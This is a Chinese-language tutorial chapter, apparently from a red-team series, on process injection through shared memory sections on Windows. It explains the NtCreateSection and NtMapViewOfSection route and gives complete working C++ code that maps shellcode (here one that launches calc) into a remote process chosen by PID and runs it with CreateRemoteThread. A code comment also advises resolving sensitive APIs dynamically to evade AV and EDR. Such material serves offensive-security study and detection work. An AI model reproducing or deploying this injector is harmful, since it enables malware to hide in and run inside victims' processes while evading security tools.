9-MapViewOfFile+NtMapViewOfSection
一、前言
CreateFileMapping
和 MapViewOfFile
实际上是对内核API的高级封装,我们可以直接使用NT内核 NtCreateSection
和 NtMapViewOfSection
来完成相同的功能。这两个API都封装在ntdll.dll中。
在微软官方的解释中,创建的文件映射对象也称为 节
,我们将要用此内核函数创建恶意本地进程与远程目标进程共享的物理内存块也就是 节
。
因为本小节涉及到 动态获取api函数
的内容,所有我们来看一下这两个API的函数原型吧
NtCreateSection
:官方文档:NtCreateSection 函数 (ntifs.h) - Windows drivers | Microsoft Learn
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
[out] PHANDLE SectionHandle,
[in] ACCESS_MASK DesiredAccess,
[in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PLARGE_INTEGER MaximumSize,
[in] ULONG SectionPageProtection,
[in] ULONG AllocationAttributes,
[in, optional] HANDLE FileHandle
);
NtMapViewOfSection
:官方文档: ZwMapViewOfSection 函数 (wdm.h) - Windows drivers | Microsoft Learn
NTSYSAPI NTSTATUS ZwMapViewOfSection(
[in] HANDLE SectionHandle,
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in] SIZE_T CommitSize,
[in, out, optional] PLARGE_INTEGER SectionOffset,
[in, out] PSIZE_T ViewSize,
[in] SECTION_INHERIT InheritDisposition,
[in] ULONG AllocationType,
[in] ULONG Win32Protect
);
用 MapViewOfFile
+ NtMapViewOfSection
完成映射注入的原理与我在 映射注入(Mapping Injection)
这一小节介绍的原理大差不差。就是通过 NtCreateSection
创建一个进程之间共享的节,然后使用 NtMapViewOfSection
将进程的虚拟地址空间中的某一个内存区域与节建立映射关系。这样进程对内存映射区域
的操作其实就是对共享节的操作。
二、流程
创建一个具有
RWX
权限的共享内存节(section
)在本地进程中创建内存节区(section)的本地视图(native view)
将shellcode复制到本地视图(native view),这也同步影响到共享内存节区中
打开远程进程,获得其句柄
在远程进程中创建内存节区(section)的视图(remote view)
在目标进程创建远程线程,执行shellcode
三、代码实现
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <iostream>
typedef LONG NTSTATUS;
// API函数声明,这常见于动态获取API的常见中
typedef NTSTATUS(NTAPI* pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
int main() {
// calc shellcode
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 定义一些变量
SIZE_T size = 4096;
HANDLE hSection = NULL;
HANDLE hProcess = NULL;
size_t dwShellcodeLength = 0;
LARGE_INTEGER sectionSize = { size };
PVOID localSectionAddress = NULL;
PVOID remoteSectionAddress = NULL;
// 动态获取API
pNtCreateSection myNtCreateSection = (pNtCreateSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection");
pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection");
// 用户输入PID,正常来说应该使用argv来获取PID参数,这里只是方便我们调式而已。
DWORD PID = 0;
std::cout << "请输入目标进程的PID:";
std::cin >> PID;
// 创建一个内存节区(section)
NTSTATUS status = myNtCreateSection(&hSection, SECTION_ALL_ACCESS , NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (!NT_SUCCESS(status))
{
printf("NtCreateSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
return (FALSE);
}
// 在本地进程中创建内存节区(section)的本地视图(native view)
NTSTATUS status1 = myNtMapViewOfSection(hSection, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
if (!NT_SUCCESS(status1))
{
printf("NtMapViewOfSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
return (FALSE);
}
// 将shellcode复制到本地视图(native view),这也同步影响到共享内存节区中
dwShellcodeLength = sizeof(shellcode);
memcpy(localSectionAddress, shellcode, dwShellcodeLength);
// 打开远程进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
// 在远程进程中创建内存节区(section)的视图(remote view)
NTSTATUS status2 = myNtMapViewOfSection(hSection, hProcess, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
if (!NT_SUCCESS(status2))
{
printf("NtMapViewOfSection failed with SYSTEM ERROR CODE: %d.\n", GetLastError());
return (FALSE);
}
// 在目标进程创建远程线程,执行shellcode。
// CreateRemoteThread可以用CreateUserThread代替,其实所有敏感的API都可以动态获取从而规避AV/EDR
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteSectionAddress, NULL, 0, NULL);
return 0;
}

其实映射注入的执行链有很多条,常见的有以下几条
CreateFileMapping
→MapViewOfFile
→MapViewOfFile2
NtCreateSection
→NtMapViewOfSection
CreateFileMapping
→MapViewOfFile
→NtMapViewOfSection
(Cobalt Strike 的进程注入选项中就有这条链)NtCreateSection
→MapViewOfFile
->NtMapViewOfSection
在 第二章-执行与注入技术
中我只介绍第一条和第二条执行链,其余两条执行链,感兴趣的读者可以自己去实现,原理大差不差。
Last updated